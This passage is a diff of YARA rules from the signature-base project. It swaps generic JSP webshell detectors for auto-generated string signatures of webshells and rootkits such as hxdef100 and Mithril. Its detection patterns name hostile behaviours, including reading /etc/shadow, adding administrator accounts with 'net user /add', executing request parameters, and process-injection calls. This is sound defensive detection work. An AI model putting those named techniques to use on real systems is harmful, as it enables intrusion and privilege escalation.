 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$ws_exec = "invoke" fullword wide ascii
-		$ws_class = "Class" fullword wide ascii
-		$fp = "SOAPConnection"
-		$cjsp_short1 = "<%" ascii wide
-		$cjsp_short2 = "%>" wide ascii
-		$cjsp_long1 = "<jsp:" ascii wide
-		$cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
-		$cjsp_long3 = "/jstl/core" ascii wide
-		$cjsp_long4 = "<%@p" nocase ascii wide
-		$cjsp_long5 = "<%@ " nocase ascii wide
-		$cjsp_long6 = "<% " ascii wide
-		$cjsp_long7 = "< %" ascii wide
-		$input1 = "getParameter" fullword ascii wide
-		$input2 = "getHeaders" fullword ascii wide
-		$input3 = "getInputStream" fullword ascii wide
-		$input4 = "getReader" fullword ascii wide
-		$req1 = "request" fullword ascii wide
-		$req2 = "HttpServletRequest" fullword ascii wide
-		$req3 = "getRequest" fullword ascii wide
-		$cj_encoded1 = "\"java.util.Base64$Decoder\"" ascii wide
+		$s0 = "PathStripPathA"
+		$s1 = "`cLGet!Addr%"
+		$s2 = "$Info: This file is packed with the UPX executable packer http://upx.tsx.org $"
+		$s3 = "oQToOemBuff* <="
+		$s4 = "ionCdunAsw[Us'"
+		$s6 = "CreateProcessW: %S"
+		$s7 = "ImageDirectoryEntryToData"
 
 	condition:
-		all of ($ws_*) and ($cjsp_short1 at 0 or any of ($cjsp_long*) or $cjsp_short2 in ( filesize -100.. filesize ) or ($cjsp_short2 and ($cjsp_short1 in (0..1000) or $cjsp_short1 in ( filesize -1000.. filesize )))) and not $fp and ( filesize <10KB and ( any of ($input*) and any of ($req*)) or ( filesize <30KB and any of ($cj_encoded*) and math.entropy(500, filesize -500)>=5.5 and math.mean(500, filesize -500)>80 and math.deviation(500, filesize -500,89.0)<23))
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_JSP_Generic_Classloader : FILE
+rule SIGNATURE_BASE_Dbgntboot
 {
 	meta:
-		description = "Generic JSP webshell which uses classloader to execute user input"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "037e6b24-9faf-569b-bb52-dbe671ab2e87"
-		date = "2021-01-07"
-		modified = "2023-04-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L6066-L6143"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6b546e78cc7821b63192bb8e087c133e8702a377d17baaeb64b13f0dd61e2347"
-		hash = "f3a7e28e1c38fa5d37811bdda1d6b0893ab876023d3bd696747a35c04141dcf0"
-		hash = "8ea2a25344e6094fa82dfc097bbec5f1675f6058f2b7560deb4390bcbce5a0e7"
-		hash = "b9ea1e9f91c70160ee29151aa35f23c236d220c72709b2b75123e6fa1da5c86c"
-		hash = "80211c97f5b5cd6c3ab23ae51003fd73409d273727ba502d052f6c2bd07046d6"
-		hash = "8e544a5f0c242d1f7be503e045738369405d39731fcd553a38b568e0889af1f2"
-		logic_hash = "ea7b8a91c09188e04f4c7fffd2b218aac3a83590b7c1b2b141650c0f6965c4ee"
+		description = "Webshells Auto-generated - file dbgntboot.dll"
+		author = "Florian Roth (Nextron Systems)"
+		id = "6b9381e6-597d-5e74-a318-9931d20a9d08"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8130-L8142"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "4d87543d4d7f73c1529c9f8066b475ab"
+		logic_hash = "10f86f18aff4995928efb3c8000eca166fe37e6006de7938139cad718ff7653f"
 		score = 75
-		quality = 0
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$exec = "extends ClassLoader" wide ascii
-		$class = "defineClass" fullword wide ascii
-		$cjsp_short1 = "<%" ascii wide
-		$cjsp_short2 = "%>" wide ascii
-		$cjsp_long1 = "<jsp:" ascii wide
-		$cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
-		$cjsp_long3 = "/jstl/core" ascii wide
-		$cjsp_long4 = "<%@p" nocase ascii wide
-		$cjsp_long5 = "<%@ " nocase ascii wide
-		$cjsp_long6 = "<% " ascii wide
-		$cjsp_long7 = "< %" ascii wide
-		$input1 = "getParameter" fullword ascii wide
-		$input2 = "getHeaders" fullword ascii wide
-		$input3 = "getInputStream" fullword ascii wide
-		$input4 = "getReader" fullword ascii wide
-		$req1 = "request" fullword ascii wide
-		$req2 = "HttpServletRequest" fullword ascii wide
-		$req3 = "getRequest" fullword ascii wide
+		$s2 = "now DOS is working at mode %d,faketype %d,against %s,has worked %d minutes,by sp"
+		$s3 = "sth junk the M$ Wind0wZ retur"
 
 	condition:
-		(($cjsp_short1 at 0 or any of ($cjsp_long*) or $cjsp_short2 in ( filesize -100.. filesize ) or ($cjsp_short2 and ($cjsp_short1 in (0..1000) or $cjsp_short1 in ( filesize -1000.. filesize )))) and ( any of ($input*) and any of ($req*)) and $exec and $class) and ( filesize <10KB or ( filesize <50KB and (math.entropy(500, filesize -500)<=1 or math.entropy(500, filesize -500)>=7.7)))
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_JSP_Generic_Encoded_Shell : FILE
+rule SIGNATURE_BASE_PHP_Shell
 {
 	meta:
-		description = "Generic JSP webshell which contains cmd or /bin/bash encoded in ascii ord"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "359949d7-1793-5e13-9fdc-fe995ae12117"
-		date = "2021-01-07"
-		modified = "2023-07-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L6145-L6171"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3eecc354390d60878afaa67a20b0802ce5805f3a9bb34e74dd8c363e3ca0ea5c"
-		hash = "f6c2112e3a25ec610b517ff481675b2ce893cb9f"
-		hash = "62e6c6065b5ca45819c1fc049518c81d7d165744"
-		logic_hash = "74f45478e5bd7bb300e4ec493c2d3ef9a26340a141c3512a722618b3a3731500"
+		description = "Webshells Auto-generated - file shell.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "08dff4db-3b1c-5702-a8c9-efaedf83c4ff"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8143-L8155"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "45e8a00567f8a34ab1cccc86b4bc74b9"
+		logic_hash = "a62061b2fa851f5798158198e26f188408f3f37dca69a85ca155777c0b8407ee"
 		score = 75
-		quality = 83
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$sj0 = /\{ ?47, 98, 105, 110, 47, 98, 97, 115, 104/ wide ascii
-		$sj1 = /\{ ?99, 109, 100}/ wide ascii
-		$sj2 = /\{ ?99, 109, 100, 46, 101, 120, 101/ wide ascii
-		$sj3 = /\{ ?47, 98, 105, 110, 47, 98, 97/ wide ascii
-		$sj4 = /\{ ?106, 97, 118, 97, 46, 108, 97, 110/ wide ascii
-		$sj5 = /\{ ?101, 120, 101, 99 }/ wide ascii
-		$sj6 = /\{ ?103, 101, 116, 82, 117, 110/ wide ascii
+		$s0 = "AR8iROET6mMnrqTpC6W1Kp/DsTgxNby9H1xhiswfwgoAtED0y6wEXTihoAtICkIX6L1+vTUYWuWz"
+		$s11 = "1HLp1qnlCyl5gko8rDlWHqf8/JoPKvGwEm9Q4nVKvEh0b0PKle3zeFiJNyjxOiVepMSpflJkPv5s"
 
 	condition:
-		filesize <300KB and any of ($sj*)
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_JSP_Netspy : FILE
+rule SIGNATURE_BASE_Hxdef100
 {
 	meta:
-		description = "JSP netspy webshell"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "41f5c171-878d-579f-811d-91d74f7e3e24"
-		date = "2021-01-24"
-		modified = "2023-04-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L6173-L6239"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "94d1aaabde8ff9b4b8f394dc68caebf981c86587"
-		hash = "3870b31f26975a7cb424eab6521fc9bffc2af580"
-		logic_hash = "1c0da3ee7a3cc8a1cf73dcd2648a1f6cb0bf3b32b37725d8d8f307e8fb7b7238"
+		description = "Webshells Auto-generated - file hxdef100.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "fb376c18-02d2-5866-a0e2-ccb5262091dd"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8156-L8169"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "55cc1769cef44910bd91b7b73dee1f6c"
+		logic_hash = "a2002dcddad7ffdbe9614723163016f9357347bb704640d3933ce4513c37d474"
 		score = 75
-		quality = 1
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$scan1 = "scan" nocase wide ascii
-		$scan2 = "port" nocase wide ascii
-		$scan3 = "web" fullword nocase wide ascii
-		$scan4 = "proxy" fullword nocase wide ascii
-		$scan5 = "http" fullword nocase wide ascii
-		$scan6 = "https" fullword nocase wide ascii
-		$write1 = "os.write" fullword wide ascii
-		$write2 = "FileOutputStream" fullword wide ascii
-		$write3 = "PrintWriter" fullword wide ascii
-		$http = "java.net.HttpURLConnection" fullword wide ascii
-		$cjsp_short1 = "<%" ascii wide
-		$cjsp_short2 = "%>" wide ascii
-		$cjsp_long1 = "<jsp:" ascii wide
-		$cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
-		$cjsp_long3 = "/jstl/core" ascii wide
-		$cjsp_long4 = "<%@p" nocase ascii wide
-		$cjsp_long5 = "<%@ " nocase ascii wide
-		$cjsp_long6 = "<% " ascii wide
-		$cjsp_long7 = "< %" ascii wide
-		$input1 = "getParameter" fullword ascii wide
-		$input2 = "getHeaders" fullword ascii wide
-		$input3 = "getInputStream" fullword ascii wide
-		$input4 = "getReader" fullword ascii wide
-		$req1 = "request" fullword ascii wide
-		$req2 = "HttpServletRequest" fullword ascii wide
-		$req3 = "getRequest" fullword ascii wide
+		$s0 = "RtlAnsiStringToUnicodeString"
+		$s8 = "SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\"
+		$s9 = "\\\\.\\mailslot\\hxdef-rk100sABCDEFGH"
 
 	condition:
-		filesize <30KB and ($cjsp_short1 at 0 or any of ($cjsp_long*) or $cjsp_short2 in ( filesize -100.. filesize ) or ($cjsp_short2 and ($cjsp_short1 in (0..1000) or $cjsp_short1 in ( filesize -1000.. filesize )))) and ( any of ($input*) and any of ($req*)) and 4 of ($scan*) and 1 of ($write*) and $http
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_JSP_By_String : FILE
+rule SIGNATURE_BASE_Rdrbs100
 {
 	meta:
-		description = "JSP Webshells which contain unique strings, lousy rule for low hanging fruits. Most are catched by other rules in here but maybe these catch different versions."
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "8d64e40b-5583-5887-afe1-b926d9880913"
-		date = "2021-01-09"
-		modified = "2023-04-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L6241-L6338"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e9060aa2caf96be49e3b6f490d08b8a996c4b084"
-		hash = "4c2464503237beba54f66f4a099e7e75028707aa"
-		hash = "06b42d4707e7326aff402ecbb585884863c6351a"
-		hash = "dada47c052ec7fcf11d5cfb25693bc300d3df87de182a254f9b66c7c2c63bf2e"
-		hash = "f9f6c696c1f90df6421cd9878a1dec51a62e91b4b4f7eac4920399cb39bc3139"
-		hash = "f1d8360dc92544cce301949e23aad6eb49049bacf9b7f54c24f89f7f02d214bb"
-		hash = "1d1f26b1925a9d0caca3fdd8116629bbcf69f37f751a532b7096a1e37f4f0076"
-		hash = "850f998753fde301d7c688b4eca784a045130039512cf51292fcb678187c560b"
-		logic_hash = "e7db0c71f7c020da414dc453f6b8f95679a75232eeabb195f1a7c501c566dd04"
-		score = 75
-		quality = -31
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
-
-	strings:
-		$jstring1 = "<title>Boot Shell</title>" wide ascii
-		$jstring2 = "String oraPWD=\"" wide ascii
-		$jstring3 = "Owned by Chinese Hackers!" wide ascii
-		$jstring4 = "AntSword JSP" wide ascii
-		$jstring5 = "JSP Webshell</" wide ascii
-		$jstring6 = "motoME722remind2012" wide ascii
-		$jstring7 = "EC(getFromBase64(toStringHex(request.getParameter(\"password" wide ascii
-		$jstring8 = "http://jmmm.com/web/index.jsp" wide ascii
-		$jstring9 = "list.jsp = Directory & File View" wide ascii
-		$jstring10 = "jdbcRowSet.setDataSourceName(request.getParameter(" wide ascii
-		$jstring11 = "Mr.Un1k0d3r RingZer0 Team" wide ascii
-		$jstring12 = "MiniWebCmdShell" fullword wide ascii
-		$jstring13 = "pwnshell.jsp" fullword wide ascii
-		$jstring14 = "session set &lt;key&gt; &lt;value&gt; [class]<br>" wide ascii
-		$jstring15 = "Runtime.getRuntime().exec(request.getParameter(" nocase wide ascii
-		$jstring16 = "GIF98a<%@page" wide ascii
-		$jstring17 = "Tas9er" fullword wide ascii
-		$jstring18 = "uu0028\\u" wide ascii
-		$jstring19 = "uu0065\\u" wide ascii
-		$jstring20 = "uu0073\\u" wide ascii
-		$jstring21 = /\\uuu{0,50}00/ wide ascii
-		$jstring22 = /[\w\.]\\u(FFFB|FEFF|FFF9|FFFA|200C|202E|202D)[\w\.]/ wide ascii
-		$jstring23 = "\"e45e329feb5d925b\"" wide ascii
-		$jstring24 = "u<![CDATA[n" wide ascii
-		$cjsp_short1 = "<%" ascii wide
-		$cjsp_short2 = "%>" wide ascii
-		$cjsp_long1 = "<jsp:" ascii wide
-		$cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
-		$cjsp_long3 = "/jstl/core" ascii wide
-		$cjsp_long4 = "<%@p" nocase ascii wide
-		$cjsp_long5 = "<%@ " nocase ascii wide
-		$cjsp_long6 = "<% " ascii wide
-		$cjsp_long7 = "< %" ascii wide
-		$dex = { 64 65 ( 78 | 79 ) 0a 30 }
-		$pack = { 50 41 43 4b 00 00 00 02 00 }
+		description = "Webshells Auto-generated - file rdrbs100.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "369e5ce0-984c-54eb-96d4-fbfb4f932ba6"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8170-L8182"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "7c752bcd6da796d80a6830c61a632bff"
+		logic_hash = "8a427ef9e0ecd0c810913203aaef43647964f33658dfdca8195fce6f0545f8f4"
+		score = 75
+		quality = 85
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+
+	strings:
+		$s3 = "Server address must be IP in A.B.C.D format."
+		$s4 = " mapped ports in the list. Currently "
 
 	condition:
-		not ( uint16(0)==0x5a4d or $dex at 0 or $pack at 0 or uint16(0)==0x4b50) and (( filesize <100KB and ($cjsp_short1 at 0 or any of ($cjsp_long*) or $cjsp_short2 in ( filesize -100.. filesize ) or ($cjsp_short2 and ($cjsp_short1 in (0..1000) or $cjsp_short1 in ( filesize -1000.. filesize )))) and any of ($jstring*)) or ( filesize <500KB and (#jstring21>20 or $jstring18 or $jstring19 or $jstring20)))
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_JSP_Input_Upload_Write : FILE
+rule SIGNATURE_BASE_Mithril_Mithril
 {
 	meta:
-		description = "JSP uploader which gets input, writes files and contains \"upload\""
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "bbf26edd-88b7-5ec5-a16e-d96a086dcd19"
-		date = "2021-01-24"
-		modified = "2023-04-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L6340-L6400"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ef98ca135dfb9dcdd2f730b18e883adf50c4ab82"
-		hash = "583231786bc1d0ecca7d8d2b083804736a3f0a32"
-		hash = "19eca79163259d80375ebebbc440b9545163e6a3"
-		logic_hash = "30574fa858e1946adc84d5611569fe8f69631539903e49746e415ed002b36e1f"
+		description = "Webshells Auto-generated - file Mithril.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "81645f57-7d7e-5b4d-b323-744f2cde4916"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8183-L8201"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "017191562d72ab0ca551eb89256650bd"
+		logic_hash = "5d19eb4132a0401d226c9cffc927b2838e9c69428746296b55a488d097759587"
 		score = 75
-		quality = 46
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$upload = "upload" nocase wide ascii
-		$write1 = "os.write" fullword wide ascii
-		$write2 = "FileOutputStream" fullword wide ascii
-		$cjsp_short1 = "<%" ascii wide
-		$cjsp_short2 = "%>" wide ascii
-		$cjsp_long1 = "<jsp:" ascii wide
-		$cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
-		$cjsp_long3 = "/jstl/core" ascii wide
-		$cjsp_long4 = "<%@p" nocase ascii wide
-		$cjsp_long5 = "<%@ " nocase ascii wide
-		$cjsp_long6 = "<% " ascii wide
-		$cjsp_long7 = "< %" ascii wide
-		$input1 = "getParameter" fullword ascii wide
-		$input2 = "getHeaders" fullword ascii wide
-		$input3 = "getInputStream" fullword ascii wide
-		$input4 = "getReader" fullword ascii wide
-		$req1 = "request" fullword ascii wide
-		$req2 = "HttpServletRequest" fullword ascii wide
-		$req3 = "getRequest" fullword ascii wide
+		$s0 = "OpenProcess error!"
+		$s1 = "WriteProcessMemory error!"
+		$s4 = "GetProcAddress error!"
+		$s5 = "HHt`HHt\\"
+		$s6 = "Cmaudi0"
+		$s7 = "CreateRemoteThread error!"
+		$s8 = "Kernel32"
+		$s9 = "VirtualAllocEx error!"
 
 	condition:
-		filesize <10KB and ($cjsp_short1 at 0 or any of ($cjsp_long*) or $cjsp_short2 in ( filesize -100.. filesize ) or ($cjsp_short2 and ($cjsp_short1 in (0..1000) or $cjsp_short1 in ( filesize -1000.. filesize )))) and ( any of ($input*) and any of ($req*)) and $upload and 1 of ($write*)
+		all of them
 }
-import "math"
+rule SIGNATURE_BASE_Hxdef100_2
+{
+	meta:
+		description = "Webshells Auto-generated - file hxdef100.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "1f079b73-29de-50cf-868c-1639a43e576f"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8202-L8215"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1b393e2e13b9c57fb501b7cd7ad96b25"
+		logic_hash = "d44131f6c1bfdc36079f474832a79a361dfad96d1b84f7004d682150c93eccc5"
+		score = 75
+		quality = 85
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
-rule SIGNATURE_BASE_WEBSHELL_Generic_OS_Strings : FILE
+	strings:
+		$s0 = "\\\\.\\mailslot\\hxdef-rkc000"
+		$s2 = "Shared Components\\On Access Scanner\\BehaviourBlo"
+		$s6 = "SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\"
+
+	condition:
+		all of them
+}
+rule SIGNATURE_BASE_Release_Dlltest
 {
 	meta:
-		description = "typical webshell strings"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "ea85e415-4774-58ac-b063-0f5eb535ec49"
-		date = "2021-01-12"
-		modified = "2023-07-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L6402-L6571"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d5bfe40283a28917fcda0cefd2af301f9a7ecdad"
-		hash = "fd45a72bda0a38d5ad81371d68d206035cb71a14"
-		hash = "b4544b119f919d8cbf40ca2c4a7ab5c1a4da73a3"
-		hash = "569259aafe06ba3cef9e775ee6d142fed6edff5f"
-		hash = "48909d9f4332840b4e04b86f9723d7427e33ac67"
-		hash = "0353ae68b12b8f6b74794d3273967b530d0d526f"
-		logic_hash = "174a7ee42008940eea6f09be9de0c1dca982f1ecf4533e290744a4955e8bdfbb"
+		description = "Webshells Auto-generated - file dllTest.dll"
+		author = "Florian Roth (Nextron Systems)"
+		id = "af821252-8409-5572-9014-59e8c5feaacd"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8216-L8236"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "76a59fc3242a2819307bb9d593bef2e0"
+		logic_hash = "ba759ae1bbde357085b2b2dfda0780b5a239a44b4e999244e8eceed246090ce3"
 		score = 50
-		quality = -98
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$fp1 = "http://evil.com/" wide ascii
-		$fp2 = "denormalize('/etc/shadow" wide ascii
-		$fp3 = "vim.org>"
-		$tagasp_short1 = /<%[^"]/ wide ascii
-		$tagasp_short2 = "%>" wide ascii
-		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
-		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
-		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
-		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
-		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
-		$tagasp_long10 = "<%@ " wide ascii
-		$tagasp_long11 = /<% \w/ nocase wide ascii
-		$tagasp_long12 = "<%ex" nocase wide ascii
-		$tagasp_long13 = "<%ev" nocase wide ascii
-		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
-		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
-		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
-		$php1 = "<?php"
-		$php2 = "<?="
-		$jsp1 = "=\"java." wide ascii
-		$jsp2 = "=\"javax." wide ascii
-		$jsp3 = "java.lang." wide ascii
-		$jsp4 = "public" fullword wide ascii
-		$jsp5 = "throws" fullword wide ascii
-		$jsp6 = "getValue" fullword wide ascii
-		$jsp7 = "getBytes" fullword wide ascii
-		$perl1 = "PerlScript" fullword
-		$php_short = "<?" wide ascii
-		$no_xml1 = "<?xml version" nocase wide ascii
-		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
-		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
-		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
-		$no_pdf = "<?xpacket"
-		$php_new1 = /<\?=[^?]/ wide ascii
-		$php_new2 = "<?php" nocase wide ascii
-		$php_new3 = "<script language=\"php" nocase wide ascii
-		$cjsp_short1 = "<%" ascii wide
-		$cjsp_short2 = "%>" wide ascii
-		$cjsp_long1 = "<jsp:" ascii wide
-		$cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
-		$cjsp_long3 = "/jstl/core" ascii wide
-		$cjsp_long4 = "<%@p" nocase ascii wide
-		$cjsp_long5 = "<%@ " nocase ascii wide
-		$cjsp_long6 = "<% " ascii wide
-		$cjsp_long7 = "< %" ascii wide
-		$w1 = "net localgroup administrators" nocase wide ascii
-		$w2 = "net user" nocase wide ascii
-		$w3 = "/add" nocase wide ascii
-		$l1 = "/etc/shadow" wide ascii
-		$l2 = "/etc/ssh/sshd_config" wide ascii
-		$take_two1 = "net user" nocase wide ascii
-		$take_two2 = "/add" nocase wide ascii
+		$s0 = ";;;Y;`;d;h;l;p;t;x;|;"
+		$s1 = "0 0&00060K0R0X0f0l0q0w0"
+		$s2 = ": :$:(:,:0:4:8:D:`=d="
+		$s3 = "4@5P5T5\\5T7\\7d7l7t7|7"
+		$s4 = "1,121>1C1K1Q1X1^1e1k1s1y1"
+		$s5 = "9 9$9(9,9P9X9\\9`9d9h9l9p9t9x9|9"
+		$s6 = "0)0O0\\0a0o0\"1E1P1q1"
+		$s7 = "<.<I<d<h<l<p<t<x<|<"
+		$s8 = "3&31383>3F3Q3X3`3f3w3|3"
+		$s9 = "8@;D;H;L;P;T;X;\\;a;9=W=z="
 
 	condition:
-		filesize <70KB and ((( any of ($tagasp_long*) or any of ($tagasp_classid*) or ($tagasp_short1 and $tagasp_short2 in ( filesize -100.. filesize )) or ($tagasp_short2 and ($tagasp_short1 in (0..1000) or $tagasp_short1 in ( filesize -1000.. filesize )))) and not (( any of ($perl*) or $php1 at 0 or $php2 at 0) or ((#jsp1+#jsp2+#jsp3)>0 and (#jsp4+#jsp5+#jsp6+#jsp7)>0))) or ((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) or ($cjsp_short1 at 0 or any of ($cjsp_long*) or $cjsp_short2 in ( filesize -100.. filesize ) or ($cjsp_short2 and ($cjsp_short1 in (0..1000) or $cjsp_short1 in ( filesize -1000.. filesize ))))) and ( filesize <300KB and not uint16(0)==0x5a4d and ( all of ($w*) or all of ($l*) or 2 of ($take_two*))) and not any of ($fp*)
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_In_Image : FILE
+rule SIGNATURE_BASE_Webadmin
 {
 	meta:
-		description = "Webshell in GIF, PNG or JPG"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "b1185b69-9b08-5925-823a-829fee6fa4cf"
-		date = "2021-02-27"
-		modified = "2024-03-11"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L6573-L6833"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d4fde4e691db3e70a6320e78657480e563a9f87935af873a99db72d6a9a83c78"
-		hash = "84938133ee6e139a2816ab1afc1c83f27243c8ae76746ceb2e7f20649b5b16a4"
-		hash = "52b918a64afc55d28cd491de451bb89c57bce424f8696d6a94ec31fb99b17c11"
-		logic_hash = "e7e78107c661aa5124a37b8e492986e5a3da63c79c97c4dc3199e648a5aa4aa8"
-		score = 55
-		quality = -1167
-		tags = "FILE"
+		description = "Webshells Auto-generated - file webadmin.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "615d87f8-9094-5994-aea1-d7276623fbca"
+		date = "2023-12-05"
